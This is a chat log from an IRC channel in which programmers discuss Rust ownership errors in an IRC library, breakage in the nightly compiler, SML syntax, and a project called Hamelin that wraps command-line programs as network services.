[2015-02-19T11:06:36-0500] <grantwu> Awe: unsafe keyword unsafe keyword huehuehuehuehuehuehuehue
[2015-02-19T11:06:42-0500] <grantwu> Because who doesn't like raw ointers?
[2015-02-19T11:06:49-0500] <+awe> grantwu: firstly, yes it can.
[2015-02-19T11:06:56-0500] <+awe> grantwu: secondly, that's not what he's doing.
[2015-02-19T11:07:04-0500] <grantwu> Wait who is he
[2015-02-19T11:07:13-0500] <+awe> Fill?
[2015-02-19T11:07:43-0500] <grantwu> Oh
[2015-02-19T11:07:53-0500] <grantwu> I am not referring to the recent conversation
[2015-02-19T11:07:57-0500] <grantwu> I just scrolled through like 3 days of stuff
[2015-02-19T11:08:08-0500] <+awe> Oh, okay.
[2015-02-19T11:08:17-0500] <Fill> kaboom. So I updated nightly, ran cargo clean; cargo update, and now rustc panicked lol
[2015-02-19T11:09:12-0500] <Fill> http://pastebin.com/kyv7jsf6
[2015-02-19T11:10:25-0500] <grantwu> Awe, I don't know, I read something like... this? http://stackoverflow.com/questions/21130272/return-a-closure-from-a-function and I'm not really grasping what this actually means about limitations of Rust
[2015-02-19T11:11:55-0500] <+awe> Fill: yup.
[2015-02-19T11:12:00-0500] <+awe> Fill: openssl is broken.
[2015-02-19T11:12:06-0500] <Fill> argh
[2015-02-19T11:12:18-0500] <+awe> Well, the compiler is breaking on openssl, actually.
[2015-02-19T11:12:19-0500] <+awe> But yeah.
[2015-02-19T11:12:25-0500] <Fill> broken to the point of crashing rustc :P
[2015-02-19T11:13:04-0500] <Fill> Hmm
[2015-02-19T11:14:29-0500] <Fill> guess I'm gonna revert to 0.4.0 by editing Cargo.toml
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[2015-02-19T09:39:46-0500] <calc0000> i don't know why people get all worked up about this
[2015-02-19T09:40:00-0500] <calc0000> it's never been much of a pain to update code 
[2015-02-19T10:52:23-0500] <+awe> Fill: what's up?
[2015-02-19T10:54:18-0500] <Fill> awe: good morning :) So, no matter what I do, I always end up getting that "m does not live long enough" error, and I think it's because the function receives an Option<IoResult<Message>> and thus acquires ownership of that Option. Then I try to map the Message it contains into a Command, and a Command holds &strs from the Message, but since the message lives only within the function, by the time I return the command, the Message goes out of scope
[2015-02-19T10:54:22-0500] <Fill> I *guess* that's what happens
[2015-02-19T10:54:26-0500] <Fill> let me show you
[2015-02-19T10:55:08-0500] <Fill>     pub fn from_message_io(m: IoResult<Message>) -> IoResult<Command<'a>> {
[2015-02-19T10:55:08-0500] <Fill>         m.map(|msg| { Command::from_message(msg) }).and_then(|res| { res })
[2015-02-19T10:55:08-0500] <Fill>     }
[2015-02-19T10:55:53-0500] <Fill> so, who's the owner of IoResult<Message>?
[2015-02-19T10:56:25-0500] <+awe> This function.
[2015-02-19T10:56:27-0500] <Fill> it's local in from_message_io, right? So whatever calls is transfers ownership of the result
[2015-02-19T10:56:33-0500] <Fill> *calls it
[2015-02-19T10:56:39-0500] <+awe> &'a IoResult<Message>?
[2015-02-19T10:57:29-0500] <Fill> huh, wait a sec
[2015-02-19T10:57:35-0500] <Fill> something changed on rust overnight
[2015-02-19T10:58:18-0500] <Fill> fmt::Writer
[2015-02-19T11:00:08-0500] <+awe> Yeah.
[2015-02-19T11:00:11-0500] <+awe> it's fmt::Write now.
[2015-02-19T11:01:33-0500] <Fill> great. now rustc-serialize doesn't compile
[2015-02-19T11:01:57-0500] <+awe> Update your nightly.
[2015-02-19T11:02:07-0500] <+awe> Yesterday, it was newer than the nightly, but the latest nightly is up to date.
[2015-02-19T11:02:11-0500] <+awe> I can compile rustc-serialize.
[2015-02-19T11:05:00-0500] <grantwu> I think Rust can't have a function return a closure?
[2015-02-19T11:06:36-0500] <grantwu> Awe: unsafe keyword unsafe keyword huehuehuehuehuehuehuehue
[2015-02-19T11:06:42-0500] <grantwu> Because who doesn't like raw ointers?
[2015-02-19T11:06:49-0500] <+awe> grantwu: firstly, yes it can.
[2015-02-19T11:06:56-0500] <+awe> grantwu: secondly, that's not what he's doing.
[2015-02-19T11:07:04-0500] <grantwu> Wait who is he
[2015-02-19T11:07:12-0500] <+awe> Fill?
[2015-02-19T11:07:43-0500] <grantwu> Oh
[2015-02-19T11:07:53-0500] <grantwu> I am not referring to the recent conversation
[2015-02-19T11:07:57-0500] <grantwu> I just scrolled through like 3 days of stuff
[2015-02-19T11:08:08-0500] <+awe> Oh, okay.
[2015-02-19T11:08:17-0500] <Fill> kaboom. So I updated nightly, ran cargo clean; cargo update, and now rustc panicked lol
[2015-02-19T11:09:12-0500] <Fill> http://pastebin.com/kyv7jsf6
[2015-02-19T11:10:25-0500] <grantwu> Awe, I don't know, I read something like... this? http://stackoverflow.com/questions/21130272/return-a-closure-from-a-function and I'm not really grasping what this actually means about limitations of Rust
[2015-02-19T11:11:55-0500] <+awe> Fill: yup.
[2015-02-19T11:12:00-0500] <+awe> Fill: openssl is broken.
[2015-02-19T11:12:06-0500] <Fill> argh
[2015-02-19T11:12:18-0500] <+awe> Well, the compiler is breaking on openssl, actually.
[2015-02-19T11:12:19-0500] <+awe> But yeah.
[2015-02-19T11:12:24-0500] <Fill> broken to the point of crashing rustc :P
[2015-02-19T11:13:04-0500] <Fill> Hmm
[2015-02-19T11:14:29-0500] <Fill> guess I'm gonna revert to 0.4.0 by editing Cargo.toml
[2015-02-19T11:28:01-0500] <grantwu> @iam the resident cat.
[2015-02-19T11:28:01-0500] <+awebot> grantwu: Got it!
[2015-02-19T11:28:09-0500] <grantwu> @whoami
[2015-02-19T11:28:15-0500] <grantwu> @awebot whoami
[2015-02-19T11:28:22-0500] <grantwu> @awebot whois grantwu
[2015-02-19T11:29:41-0500] Mode is +nt
[2015-02-19T11:29:50-0500] <+awe> @whois grantwu
[2015-02-19T11:29:50-0500] <+awebot> awe: grantwu is the resident cat.
[2015-02-19T11:30:15-0500] <grantwu> aha. thanks
[2015-02-19T11:32:24-0500] <Fill> ok, something is seriously messed up on the latest rustc nightly
[2015-02-19T11:32:50-0500] <+awe> Yeah.
[2015-02-19T11:32:53-0500] <+awe> There is.
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[2015-02-19T12:52:09-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-19T11:02:07-0500] <+awe> Yesterday, it was newer than the nightly, but the latest nightly is up to date.
[2015-02-19T11:02:11-0500] <+awe> I can compile rustc-serialize.
[2015-02-19T11:05:00-0500] <grantwu> I think Rust can't have a function return a closure?
[2015-02-19T11:06:36-0500] <grantwu> Awe: unsafe keyword unsafe keyword huehuehuehuehuehuehuehue
[2015-02-19T11:06:42-0500] <grantwu> Because who doesn't like raw ointers?
[2015-02-19T11:06:49-0500] <+awe> grantwu: firstly, yes it can.
[2015-02-19T11:06:56-0500] <+awe> grantwu: secondly, that's not what he's doing.
[2015-02-19T11:07:04-0500] <grantwu> Wait who is he
[2015-02-19T11:07:12-0500] <+awe> Fill?
[2015-02-19T11:07:43-0500] <grantwu> Oh
[2015-02-19T11:07:53-0500] <grantwu> I am not referring to the recent conversation
[2015-02-19T11:07:57-0500] <grantwu> I just scrolled through like 3 days of stuff
[2015-02-19T11:08:08-0500] <+awe> Oh, okay.
[2015-02-19T11:08:17-0500] <Fill> kaboom. So I updated nightly, ran cargo clean; cargo update, and now rustc panicked lol
[2015-02-19T11:09:12-0500] <Fill> http://pastebin.com/kyv7jsf6
[2015-02-19T11:10:25-0500] <grantwu> Awe, I don't know, I read something like... this? http://stackoverflow.com/questions/21130272/return-a-closure-from-a-function and I'm not really grasping what this actually means about limitations of Rust
[2015-02-19T11:11:55-0500] <+awe> Fill: yup.
[2015-02-19T11:12:00-0500] <+awe> Fill: openssl is broken.
[2015-02-19T11:12:06-0500] <Fill> argh
[2015-02-19T11:12:18-0500] <+awe> Well, the compiler is breaking on openssl, actually.
[2015-02-19T11:12:19-0500] <+awe> But yeah.
[2015-02-19T11:12:24-0500] <Fill> broken to the point of crashing rustc :P
[2015-02-19T11:13:04-0500] <Fill> Hmm
[2015-02-19T11:14:29-0500] <Fill> guess I'm gonna revert to 0.4.0 by editing Cargo.toml
[2015-02-19T11:28:01-0500] <grantwu> @iam the resident cat.
[2015-02-19T11:28:01-0500] <+awebot> grantwu: Got it!
[2015-02-19T11:28:09-0500] <grantwu> @whoami
[2015-02-19T11:28:15-0500] <grantwu> @awebot whoami
[2015-02-19T11:28:22-0500] <grantwu> @awebot whois grantwu
[2015-02-19T11:29:49-0500] <+awe> @whois grantwu
[2015-02-19T11:29:49-0500] <+awebot> awe: grantwu is the resident cat.
[2015-02-19T11:30:13-0500] <grantwu> aha. thanks
[2015-02-19T11:32:22-0500] <Fill> ok, something is seriously messed up on the latest rustc nightly
[2015-02-19T11:32:48-0500] <+awe> Yeah.
[2015-02-19T11:32:51-0500] <+awe> There is.
[2015-02-19T11:41:21-0500] <Fill> awe: still, I don't think &'a IoResult<Message> can be used, since Map expects a function that receives Iterator::Item, and ServerIterator::Item is an IoResult<Message>
[2015-02-19T11:41:28-0500] <Fill> unless there was something like map_asref()
[2015-02-19T11:41:32-0500] <Fill> but I didn't find it
[2015-02-19T11:58:14-0500] <Fill> wow, I could compile openssl
[2015-02-19T11:58:20-0500] <Fill> so now I'm back to the same error
[2015-02-19T11:58:22-0500] <Fill> :x
[2015-02-19T12:20:29-0500] <grantwu> yay continuations
[2015-02-19T12:38:00-0500] <Fill> buaaa
[2015-02-19T12:45:49-0500] <grantwu> huh continuations let you simulate lazy evaluation in a ways
[2015-02-19T12:51:46-0500] <grantwu> @whois alokpathy
[2015-02-19T12:51:47-0500] <+awebot> grantwu: alokpathy is love, alokpathy is life
[2015-02-19T12:51:52-0500] <grantwu> @whois ubontor
[2015-02-19T12:51:52-0500] <+awebot> grantwu: I don't know who ubontor is.
[2015-02-19T12:52:00-0500] <grantwu> @whois ubuntor
[2015-02-19T12:52:00-0500] <+awebot> grantwu: ubuntor is in a maze of twisty little passages, all alike.
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[2015-02-19T12:52:34-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-19T11:02:07-0500] <+awe> Yesterday, it was newer than the nightly, but the latest nightly is up to date.
[2015-02-19T11:02:11-0500] <+awe> I can compile rustc-serialize.
[2015-02-19T11:05:00-0500] <grantwu> I think Rust can't have a function return a closure?
[2015-02-19T11:06:36-0500] <grantwu> Awe: unsafe keyword unsafe keyword huehuehuehuehuehuehuehue
[2015-02-19T11:06:42-0500] <grantwu> Because who doesn't like raw ointers?
[2015-02-19T11:06:49-0500] <+awe> grantwu: firstly, yes it can.
[2015-02-19T11:06:56-0500] <+awe> grantwu: secondly, that's not what he's doing.
[2015-02-19T11:07:04-0500] <grantwu> Wait who is he
[2015-02-19T11:07:12-0500] <+awe> Fill?
[2015-02-19T11:07:43-0500] <grantwu> Oh
[2015-02-19T11:07:53-0500] <grantwu> I am not referring to the recent conversation
[2015-02-19T11:07:57-0500] <grantwu> I just scrolled through like 3 days of stuff
[2015-02-19T11:08:08-0500] <+awe> Oh, okay.
[2015-02-19T11:08:17-0500] <Fill> kaboom. So I updated nightly, ran cargo clean; cargo update, and now rustc panicked lol
[2015-02-19T11:09:12-0500] <Fill> http://pastebin.com/kyv7jsf6
[2015-02-19T11:10:25-0500] <grantwu> Awe, I don't know, I read something like... this? http://stackoverflow.com/questions/21130272/return-a-closure-from-a-function and I'm not really grasping what this actually means about limitations of Rust
[2015-02-19T11:11:55-0500] <+awe> Fill: yup.
[2015-02-19T11:12:00-0500] <+awe> Fill: openssl is broken.
[2015-02-19T11:12:06-0500] <Fill> argh
[2015-02-19T11:12:18-0500] <+awe> Well, the compiler is breaking on openssl, actually.
[2015-02-19T11:12:19-0500] <+awe> But yeah.
[2015-02-19T11:12:24-0500] <Fill> broken to the point of crashing rustc :P
[2015-02-19T11:13:04-0500] <Fill> Hmm
[2015-02-19T11:14:29-0500] <Fill> guess I'm gonna revert to 0.4.0 by editing Cargo.toml
[2015-02-19T11:28:01-0500] <grantwu> @iam the resident cat.
[2015-02-19T11:28:01-0500] <+awebot> grantwu: Got it!
[2015-02-19T11:28:09-0500] <grantwu> @whoami
[2015-02-19T11:28:15-0500] <grantwu> @awebot whoami
[2015-02-19T11:28:22-0500] <grantwu> @awebot whois grantwu
[2015-02-19T11:29:49-0500] <+awe> @whois grantwu
[2015-02-19T11:29:49-0500] <+awebot> awe: grantwu is the resident cat.
[2015-02-19T11:30:13-0500] <grantwu> aha. thanks
[2015-02-19T11:32:22-0500] <Fill> ok, something is seriously messed up on the latest rustc nightly
[2015-02-19T11:32:48-0500] <+awe> Yeah.
[2015-02-19T11:32:51-0500] <+awe> There is.
[2015-02-19T11:41:21-0500] <Fill> awe: still, I don't think &'a IoResult<Message> can be used, since Map expects a function that receives Iterator::Item, and ServerIterator::Item is an IoResult<Message>
[2015-02-19T11:41:28-0500] <Fill> unless there was something like map_asref()
[2015-02-19T11:41:32-0500] <Fill> but I didn't find it
[2015-02-19T11:58:14-0500] <Fill> wow, I could compile openssl
[2015-02-19T11:58:20-0500] <Fill> so now I'm back to the same error
[2015-02-19T11:58:22-0500] <Fill> :x
[2015-02-19T12:20:29-0500] <grantwu> yay continuations
[2015-02-19T12:38:00-0500] <Fill> buaaa
[2015-02-19T12:45:49-0500] <grantwu> huh continuations let you simulate lazy evaluation in a ways
[2015-02-19T12:51:46-0500] <grantwu> @whois alokpathy
[2015-02-19T12:51:47-0500] <+awebot> grantwu: alokpathy is love, alokpathy is life
[2015-02-19T12:51:52-0500] <grantwu> @whois ubontor
[2015-02-19T12:51:52-0500] <+awebot> grantwu: I don't know who ubontor is.
[2015-02-19T12:52:00-0500] <grantwu> @whois ubuntor
[2015-02-19T12:52:00-0500] <+awebot> grantwu: ubuntor is in a maze of twisty little passages, all alike.
[2015-02-19T12:52:34-0500] Mode is +nt
[2015-02-19T12:53:29-0500] <grantwu> bwah we have spent an hour going over 4 different ways to sum a list q.q
[2015-02-19T12:53:44-0500] <+awe> grantwu: just use the sum function
[2015-02-19T12:53:45-0500] <+awe> grantwu: duh
[2015-02-19T12:54:04-0500] <+awe> grantwu: or I guess if you're dumb, you could use foldr (+) 0
[2015-02-19T12:54:49-0500] <grantwu> lol it's academic
[2015-02-19T12:55:03-0500] <grantwu> Straight recursion, tail recursion, CPS, and foldr
[2015-02-19T12:56:00-0500] <grantwu> SML has a weak library, don't think there's a sum function
[2015-02-19T12:56:18-0500] <+awe> in Haskell, sum = foldr (+) 0, I'm pretty sure.
[2015-02-19T12:56:38-0500] <+awe> grantwu: foldr is implicitly recursion tho
[2015-02-19T12:57:05-0500] <grantwu> it's all recursion.  It's just illustrating the different ways to do things
[2015-02-19T12:57:36-0500] <+awe> .-.
[2015-02-19T12:57:48-0500] <grantwu> In SML, it would just be foldr (op +) 0
[2015-02-19T12:57:52-0500] <+awe> gross
[2015-02-19T12:58:02-0500] <grantwu> it's only an extra 3 characters pls
[2015-02-19T12:58:03-0500] <+awe> is + not a function in SML?
[2015-02-19T12:58:31-0500] <grantwu> in SML, you need to use the op keyword to treat infix functions as regular functions
[2015-02-19T12:58:36-0500] <+awe> That's annoying.
[2015-02-19T12:58:49-0500] <+awe> That's the whole point of wrapping it in parentheses.
[2015-02-19T12:58:58-0500] <+awe> Parentheses already indicate that infix functions are regular functions.
[2015-02-19T12:59:14-0500] <grantwu> eh
[2015-02-19T12:59:28-0500] <grantwu> if I was using a different function I wouldn't need the parentheses
[2015-02-19T12:59:44-0500] <grantwu> Yeah SML syntax isn't the greatest
[2015-02-19T13:00:46-0500] <+awe> grantwu: can you use other functions as infix?
[2015-02-19T13:00:59-0500] <+awe> grantwu: i.e. non-symbolic functions
[2015-02-19T13:01:13-0500] <grantwu> uh
[2015-02-19T13:01:33-0500] <grantwu> you declare whether they're infix or not when you define the function I think
[2015-02-19T13:02:17-0500] <grantwu> functions not declared infix can't be used infix AFAIK, infix functions can be used regularly with the op keyword
[2015-02-19T13:04:35-0500] <+awe> That's annoying.
[2015-02-19T13:05:02-0500] <+awe> map (+1) xs
[2015-02-19T13:05:15-0500] <grantwu> .-.
[2015-02-19T13:05:25-0500] <+awe> (+1) `map` xs
[2015-02-19T13:05:36-0500] <grantwu> Yes that would be map (fn x -> x + 1) xs in SML
[2015-02-19T13:05:42-0500] <+awe> Oh gosh.
[2015-02-19T13:05:57-0500] <grantwu> SML doesn't have as much syntactic sugar k
[2015-02-19T13:06:20-0500] <+awe> I can tell. :p
[2015-02-19T13:06:23-0500] <grantwu> T.T
[2015-02-19T13:06:30-0500] <+awe> I hate the idea of writing lambdas like (fn x -> ...)
[2015-02-19T13:06:44-0500] <+awe> I like (\ x -> ...)
[2015-02-19T13:06:49-0500] <grantwu> oops I fucked up
[2015-02-19T13:06:52-0500] <+awe> especially because I have vim conceal on to change the \ into a lambda.
[2015-02-19T13:06:57-0500] <grantwu> it should be fn x => x + 1
[2015-02-19T13:07:15-0500] <grantwu> lol our professor wrote on the first day of the course on the blackboard
[2015-02-19T13:07:17-0500] <grantwu> fn
[2015-02-19T13:07:21-0500] <grantwu> "This is pronounced lambda"
[2015-02-19T13:07:25-0500] <grantwu> ahuehuehue
[2015-02-19T13:07:28-0500] <+awe> Hah.
[2015-02-19T13:08:08-0500] <grantwu> .-. professor has taken a sidetrack into motion planning
[2015-02-19T13:08:29-0500] <+awe> O noes
[2015-02-19T13:10:47-0500] <Fill> awe: without significant changes, I don't think we can make iter_cmd() with iter().map(). ServerIterator returns a value and will always transfer ownership to the function called by map. And then there's no way I can create a reference that will outlive the function, which is needed to return an IoResult<Command>
[2015-02-19T13:11:10-0500] <Fill> and I can't receive a reference in the function called by map, because map() simply calls the function with whatever the other iterator returns
[2015-02-19T13:11:47-0500] <+awe> Okay.
[2015-02-19T13:11:52-0500] <Fill> I need some way to store references before the conversion function is called
[2015-02-19T13:12:13-0500] <Fill> (I guess)
[2015-02-19T13:12:30-0500] <+awe> You can try a different approach then. That's alright.
[2015-02-19T13:13:18-0500] <grantwu> Fill, what are you working on?
[2015-02-19T13:13:21-0500] <grantwu> Is it the hamelin thing
[2015-02-19T13:13:26-0500] <+awe> No.
[2015-02-19T13:13:29-0500] <+awe> It's my IRC library.
[2015-02-19T13:13:35-0500] <grantwu> What is that for?
[2015-02-19T13:13:35-0500] <Fill> grantwu: the irc library in Rust
[2015-02-19T13:13:39-0500] <grantwu> oh I see o.O
[2015-02-19T13:13:50-0500] <grantwu> Is it going to go into the ... whatever the standard stuff is
[2015-02-19T13:13:51-0500] <+awe> Hamelin is something different that I'm also working on (with hardmath123)
[2015-02-19T13:13:59-0500] <+awe> grantwu: Rust's standard library?
[2015-02-19T13:14:01-0500] <+awe> grantwu: lolno.
[2015-02-19T13:14:08-0500] <+awe> grantwu: but it is officially named irc.
[2015-02-19T13:14:16-0500] <+awe> grantwu: it is _the_ Rust irc library.
[2015-02-19T13:14:19-0500] <grantwu> or like the package manager
[2015-02-19T13:14:20-0500] <grantwu> or something
[2015-02-19T13:14:25-0500] <+awe> Yeah, it's on crates.io.
[2015-02-19T13:14:27-0500] <+awe> As irc.
[2015-02-19T13:14:37-0500] <grantwu> kewl
[2015-02-19T13:14:47-0500] <+awe> Someone was squatting on the name, but after a lot of bitching at him, he gave it to me.
[2015-02-19T13:15:04-0500] <+awe> (I would've gotten it to begin with, but some of the libraries I was using weren't on crates yet and so I couldn't upload mine)
[2015-02-19T13:15:14-0500] <grantwu> ah
[2015-02-19T13:15:22-0500] <grantwu> What is hamelin again?
[2015-02-19T13:17:14-0500] <+awe> Hamelin is basically a (specification for) (a collection of) daemons that allow you to easily wrap line-buffered CLI programs in I/O handlers.
[2015-02-19T13:17:25-0500] <+awe> So, for example, one daemon might convert such a program into a TCP server.
[2015-02-19T13:17:34-0500] <+awe> I wrote one that does that.
[2015-02-19T13:17:47-0500] <+awe> I wrote one that does the same thing but with SSL, too. (That one is significantly less performant right now though.)
[2015-02-19T13:17:55-0500] <+awe> I also wrote one that converts such a program into an IRC bot.
[2015-02-19T13:18:38-0500] <grantwu> I'm sorry can you give me an example of a line-buffered CLI program?  like the things you make in introductory java classes with system.out.println and scanner?
[2015-02-19T13:19:23-0500] <+awe> Exactly!
[2015-02-19T13:19:26-0500] <+awe> Or, for example, cat.
[2015-02-19T13:19:37-0500] <+awe> If you just type cat, you can enter stuff, when you press enter, it'll repeat what you wrote.
[2015-02-19T13:19:47-0500] <+awe> grep has a line-buffered mode (grep --line-buffered)
[2015-02-19T13:20:03-0500] <+awe> All it means is that the input and output of the program happens line-by-line.
[2015-02-19T13:20:41-0500] <grantwu> I see
[2015-02-19T13:20:57-0500] <grantwu> And I/O handlers will basically connect this stuff to some I/O protocol?
[2015-02-19T13:21:00-0500] <+awe> Yes.
[2015-02-19T13:21:19-0500] <+awe> So, for example, I can run the following: net localhost 30000 grep --line-buffered "goats"
[2015-02-19T13:23:04-0500] <grantwu> wait what is that supposed to do aagain
[2015-02-19T13:24:05-0500] <+awe> and I suddenly have a server running on port 30000 that will take line-buffered input, and respond with any lines containing goats.
[2015-02-19T13:26:22-0500] <grantwu> wait but where does hamelin come in
[2015-02-19T13:26:26-0500] <+awe> net was hamelin.
[2015-02-19T13:26:29-0500] <grantwu> oh
[2015-02-19T13:26:31-0500] <+awe> well, an implementation of hamelin.
[2015-02-19T13:26:50-0500] <+awe> mine are just net, ssl, and irc
[2015-02-19T13:26:53-0500] <grantwu> I thought it was some unix command I'm not aware of
[2015-02-19T13:26:55-0500] <grantwu> derp
[2015-02-19T13:26:56-0500] <+awe> Nope.
[2015-02-19T13:27:04-0500] <grantwu> I see
[2015-02-19T13:27:09-0500] <+awe> hardmath123 thought of hamelin
[2015-02-19T13:27:14-0500] <+awe> and wrote a Python implementation
[2015-02-19T13:27:17-0500] <grantwu> what does the name mean?
[2015-02-19T13:27:45-0500] <+awe> It's a town and surname.
[2015-02-19T13:27:46-0500] <grantwu> ai ya the systems class is starting I should go
[2015-02-19T13:27:55-0500] <+awe> Lol, I'm in my systems class.
[2015-02-19T13:42:24-0500] <Hyper> awe: so I've been fucking around with SIMD
[2015-02-19T13:42:26-0500] <Hyper> simd is cool
[2015-02-19T13:43:54-0500] <Hyper> (https://github.com/Hypersonic/Gravitas/blob/master/source/world.d is the result of those efforts, so far)
[2015-02-19T13:46:42-0500] <+awe> Interesting.
[2015-02-19T13:50:03-0500] <JacobEdelman> hamelin will get an http implementation soon
[2015-02-19T13:50:09-0500] <JacobEdelman> for the python implementation
[2015-02-19T13:50:31-0500] <+awe> JacobEdelman: oh boy
[2015-02-19T13:50:42-0500] <JacobEdelman> :)
[2015-02-19T13:50:44-0500] <+awe> JacobEdelman: I could do that with Rust pretty easily.
[2015-02-19T13:50:50-0500] <+awe> JacobEdelman: I'm not sure how that'd work exactly though.
[2015-02-19T13:50:52-0500] <JacobEdelman> hmm..
[2015-02-19T13:50:57-0500] <JacobEdelman> right now
[2015-02-19T13:50:59-0500] <+awe> JacobEdelman: what would the relative url be?
[2015-02-19T13:51:07-0500] <JacobEdelman> the path in the get request
[2015-02-19T13:51:20-0500] <JacobEdelman> is given to hamelin
[2015-02-19T13:51:24-0500] <+awe> oic.
[2015-02-19T13:51:25-0500] <JacobEdelman> (I think its relative0
[2015-02-19T13:51:27-0500] <JacobEdelman> )
[2015-02-19T13:51:47-0500] <+awe> So, basically, you just give the program the page, and then serve what it gives you as a response.
[2015-02-19T13:51:54-0500] <JacobEdelman> also, I'm worried about having lots of different versions of hamelin
[2015-02-19T13:52:06-0500] <+awe> Okay, solution: mine is vastly superior.
[2015-02-19T13:52:14-0500] <+awe> Especially the TCP implementation.
[2015-02-19T13:52:39-0500] <JacobEdelman> so, the problem I have with yours
[2015-02-19T13:52:53-0500] <JacobEdelman> is when making a protocol (such as http or irc)
[2015-02-19T13:53:04-0500] <JacobEdelman> it is harder to find a good, stable, library to use for it
[2015-02-19T13:53:17-0500] <JacobEdelman> for instance, if I wanted to make a twitter hamelin implementation
[2015-02-19T13:53:23-0500] <+awe> You'd have to write a twitter library.
[2015-02-19T13:53:24-0500] <+awe> Oh no.
[2015-02-19T13:53:30-0500] <JacobEdelman> I'm just saying
[2015-02-19T13:53:41-0500] <JacobEdelman> hamelin relies a lot on having a good ecosystem
[2015-02-19T13:53:48-0500] <JacobEdelman> and I don't feel like rust is mature enough yet
[2015-02-19T13:53:52-0500] <JacobEdelman> can rust do interop?
[2015-02-19T13:53:52-0500] <+awe> Neither is Nim.
[2015-02-19T13:53:53-0500] <+awe> Yes.
[2015-02-19T13:53:55-0500] <+awe> Of course it can.
[2015-02-19T13:53:57-0500] <JacobEdelman> with C?
[2015-02-19T13:53:59-0500] <+awe> Yes.
[2015-02-19T13:54:00-0500] <+awe> Duh.
[2015-02-19T13:54:01-0500] <JacobEdelman> okay
[2015-02-19T13:54:03-0500] <+awe> Everything can interop with C.
[2015-02-19T13:54:13-0500] <+awe> I'm using *OPENSSL* for the SSL one.
[2015-02-19T13:54:25-0500] <JacobEdelman> okay, than we could just make implementations in diff languages that compile to C
[2015-02-19T13:54:34-0500] <+awe> Wat?
[2015-02-19T13:54:42-0500] <+awe> Again: that's transpiling.
[2015-02-19T13:54:46-0500] <JacobEdelman> *protocols, not implemeantion
[2015-02-19T13:54:47-0500] <JacobEdelman> gtg
[2015-02-19T13:55:16-0500] <+awe> Anyway, I disagree completely with your belief that there should only be one "version" of it.
[2015-02-19T13:55:21-0500] <+awe> Fundamentally, they're all different versions.
[2015-02-19T13:55:30-0500] <+awe> Each daemon is a totally different version of the Hamelin spec.
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[2015-02-19T13:27:52-0500] <+awe> Lol, I'm in my systems class.
[2015-02-19T13:42:22-0500] <Hyper> awe: so I've been fucking around with SIMD
[2015-02-19T13:42:24-0500] <Hyper> simd is cool
[2015-02-19T13:43:51-0500] <Hyper> (https://github.com/Hypersonic/Gravitas/blob/master/source/world.d is the result of those efforts, so far)
[2015-02-19T13:46:39-0500] <+awe> Interesting.
[2015-02-19T13:50:00-0500] <JacobEdelman> hamelin will get an http implementation soon
[2015-02-19T13:50:06-0500] <JacobEdelman> for the python implementation
[2015-02-19T13:50:28-0500] <+awe> JacobEdelman: oh boy
[2015-02-19T13:50:40-0500] <JacobEdelman> :)
[2015-02-19T13:50:41-0500] <+awe> JacobEdelman: I could do that with Rust pretty easily.
[2015-02-19T13:50:47-0500] <+awe> JacobEdelman: I'm not sure how that'd work exactly though.
[2015-02-19T13:50:49-0500] <JacobEdelman> hmm..
[2015-02-19T13:50:55-0500] <JacobEdelman> right now
[2015-02-19T13:50:57-0500] <+awe> JacobEdelman: what would the relative url be?
[2015-02-19T13:51:05-0500] <JacobEdelman> the path in the get request
[2015-02-19T13:51:18-0500] <JacobEdelman> is given to hamelin
[2015-02-19T13:51:22-0500] <+awe> oic.
[2015-02-19T13:51:23-0500] <JacobEdelman> (I think its relative0
[2015-02-19T13:51:24-0500] <JacobEdelman> )
[2015-02-19T13:51:45-0500] <+awe> So, basically, you just give the program the page, and then serve what it gives you as a response.
[2015-02-19T13:51:52-0500] <JacobEdelman> also, I'm worried about having lots of different versions of hamelin
[2015-02-19T13:52:04-0500] <+awe> Okay, solution: mine is vastly superior.
[2015-02-19T13:52:11-0500] <+awe> Especially the TCP implementation.
[2015-02-19T13:52:37-0500] <JacobEdelman> so, the problem I have with yours
[2015-02-19T13:52:51-0500] <JacobEdelman> is when making a protocol (such as http or irc)
[2015-02-19T13:53:02-0500] <JacobEdelman> it is harder to find a good, stable, library to use for it
[2015-02-19T13:53:14-0500] <JacobEdelman> for instance, if I wanted to make a twitter hamelin implementation
[2015-02-19T13:53:21-0500] <+awe> You'd have to write a twitter library.
[2015-02-19T13:53:21-0500] <+awe> Oh no.
[2015-02-19T13:53:27-0500] <JacobEdelman> I'm just saying
[2015-02-19T13:53:38-0500] <JacobEdelman> hamelin relies a lot on having a good ecosystem
[2015-02-19T13:53:45-0500] <JacobEdelman> and I don't feel like rust is mature enough yet
[2015-02-19T13:53:49-0500] <JacobEdelman> can rust do interop?
[2015-02-19T13:53:50-0500] <+awe> Neither is Nim.
[2015-02-19T13:53:51-0500] <+awe> Yes.
[2015-02-19T13:53:52-0500] <+awe> Of course it can.
[2015-02-19T13:53:55-0500] <JacobEdelman> with C?
[2015-02-19T13:53:56-0500] <+awe> Yes.
[2015-02-19T13:53:57-0500] <+awe> Duh.
[2015-02-19T13:53:59-0500] <JacobEdelman> okay
[2015-02-19T13:54:00-0500] <+awe> Everything can interop with C.
[2015-02-19T13:54:11-0500] <+awe> I'm using *OPENSSL* for the SSL one.
[2015-02-19T13:54:23-0500] <JacobEdelman> okay, than we could just make implementations in diff languages that compile to C
[2015-02-19T13:54:31-0500] <+awe> Wat?
[2015-02-19T13:54:39-0500] <+awe> Again: that's transpiling.
[2015-02-19T13:54:43-0500] <JacobEdelman> *protocols, not implemeantion
[2015-02-19T13:54:45-0500] <JacobEdelman> gtg
[2015-02-19T13:55:13-0500] <+awe> Anyway, I disagree completely with your belief that there should only be one "version" of it.
[2015-02-19T13:55:18-0500] <+awe> Fundamentally, they're all different versions.
[2015-02-19T13:55:28-0500] <+awe> Each daemon is a totally different version of the Hamelin spec.
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[2015-02-19T13:51:22-0500] <+awe> oic.
[2015-02-19T13:51:23-0500] <JacobEdelman> (I think its relative0
[2015-02-19T13:51:24-0500] <JacobEdelman> )
[2015-02-19T13:51:45-0500] <+awe> So, basically, you just give the program the page, and then serve what it gives you as a response.
[2015-02-19T13:51:52-0500] <JacobEdelman> also, I'm worried about having lots of different versions of hamelin
[2015-02-19T13:52:04-0500] <+awe> Okay, solution: mine is vastly superior.
[2015-02-19T13:52:11-0500] <+awe> Especially the TCP implementation.
[2015-02-19T13:52:37-0500] <JacobEdelman> so, the problem I have with yours
[2015-02-19T13:52:51-0500] <JacobEdelman> is when making a protocol (such as http or irc)
